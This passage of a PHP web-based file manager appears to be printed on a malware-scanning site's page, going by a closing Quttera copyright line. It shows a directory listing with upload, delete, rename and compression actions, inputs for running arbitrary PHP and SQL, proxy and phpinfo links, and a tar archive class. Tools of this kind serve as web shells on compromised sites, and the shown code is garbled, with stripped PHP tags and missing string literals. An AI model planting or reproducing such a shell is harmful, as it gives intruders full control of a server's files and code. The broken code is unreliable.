				<input type="text" name="mask" placeholder="=__('Mask')" value="=!empty($_POST['mask'])?$_POST['mask']:'*.*'" size="5">
				<input type="submit" name="search" value="=__('Search')">
				</form>
			</td>
			<td>
			=fm_run_input('php')
			</td>
			<td>
			=fm_run_input('sql')
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     if (!empty($fm_config['upload_file'])) {
                      
		     	<form name="form1" method="post" action="=$url_inc" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="=$path" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="=__('Select the file')" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="=__('Upload')" />

		     	</form>

		     }
                    
		     </td>
		<td>
		if ($auth['authorize']) {
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			=__('file'), =$auth['login']
			<input type="submit" value="=__('Quit')">
			</form>
		}
		</td>
		<td>
		=fm_lang_form($language)
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> =__('Filename') </th>
    <th style="white-space:nowrap"> =__('Size') </th>
    <th style="white-space:nowrap"> =__('Date') </th>
    <th style="white-space:nowrap"> =__('Rights') </th>
    <th colspan="4" style="white-space:nowrap"> =__('Manage') </th>
</tr>
</thead>
<tbody>
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(, $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file== || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
<tr class="=$style"> 
    <td>=$link</td>
    <td>=$filedata[7]</td>
    <td style="white-space:nowrap">=gmdate("Y-m-d H:i:s",$filedata[9])</td>
    <td>=$rightstext</td>
    <td>=$deletelink</td>
    <td>=$renamelink</td>
    <td>=$loadlink</td>
    <td>=$arlink</td>
</tr>
}
}
</tbody>
</table>
<div class="row3">$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';


//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!= && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != )
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory')..__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file')..__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == ){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}



© 2023 Quttera Ltd. All rights reserved.